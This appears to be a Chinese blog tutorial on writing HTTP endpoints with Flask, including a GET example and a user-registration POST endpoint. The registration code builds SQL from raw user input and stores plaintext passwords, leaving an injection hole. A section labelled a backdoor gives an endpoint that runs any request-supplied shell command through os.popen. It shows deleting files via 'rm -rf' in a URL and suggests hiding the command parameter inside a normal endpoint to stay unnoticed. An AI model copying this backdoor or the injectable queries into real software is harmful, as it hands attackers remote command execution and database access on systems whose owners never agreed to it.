一、开发接口的作用
1、mock接口,在别的接口没有开发好的时候,模拟一些接口。例如假的支付接口,模拟支付成功
2、查看数据,避免直接操作数据库flask web开发框架
二、接口开发
1、安装flask第三方模块
flask是一种 web开发框架
2、接口开发步骤
(1) 实例化server
(2) 装饰器,下面的函数变为一个接口
(3) 启动服务
先写一个简单的get请求接口
import flask, json # __name__代表当前这个python文件 server = flask.Flask(__name__) # 实例化server,把当前这个python文件,当做一个服务 # 请求路径 ip:port/index @server.route('/index', methods=['get']) # 装饰器,下面的函数变为一个接口 # method默认是get请求,methods=['get','post'] def index(): res = {'msg': '这是我开发的第一个接口', 'msg_code': 0} # 返回状态码0,表示返回成功 return json.dumps(res, ensure_ascii=False) #json.dumps 序列化时对中文默认使用的ascii编码.想输出真正的中文需要指定ensure_ascii=False server.run(port=7788, debug=True, host='0.0.0.0') #启动服务 # debug=True 改了代码后不用重启服务,它会自动重启一次 # host 设置成 0.0.0.0 同一局域网的可以访问
运行这段代码,打开浏览器,输入http://localhost:7788/index,就可以看到{'msg': '这是我开发的第一个接口', 'msg_code': 0}
在写一个post方法的接口
@server.route('/reg',methods=['post'])#/reg接口路径 def ref(): username = flask.request.values.get('username')#username是接口调用的key,即入参 pwd = flask.request.values.get('passwd')#passwd是接口调用的key,即入参 if username and pwd: sql = 'select * from my_user where username = "%s";' % username if my_db(sql): res = {'msg': '用户已存在', 'msg_code': 2001} # 2001,以2开头都是跟用户有关的 else: insert_sql = 'insert into my_user(username,passwd,is_admin) VALUES ("%s","%s",0);' % (username, pwd) my_db(insert_sql) res = {'msg': '注册成功', 'msg_code': 0} else: res = {'msg':'必填字段未填,请查看接口文档','msg_code':1001} # 1001必填字段未填 return json.dumps(res, ensure_ascii=False)
post请求用postman或类似工具访问接口
后门接口
@server.route('/error',methods=['post'])#路由,访问地址为----IP:端口/error def cmd(): cmd = flask.request.values('cmd')#接口的入参 res = os.popen(cmd)#执行用户命令 return res.read()#返回执行结果 #http://127.0.0.1:8999/error?cmd=rm -rf a.txt 后门接口可以直接通过浏览器删除系统文件 #隐蔽一点的方法,把cmd = flask.request.values('cmd',None)写入正常接口 # 默认可以不传,一但传了再res = os.popen(cmd)
一个接口文件中可以包含多个接口,只要接口路径不一致即可
注意的一点是: server.run() 一定要放在所有接口的最底下运行,否则,在server.run()以下再开发接口,是检测不到的,不会被运行起来的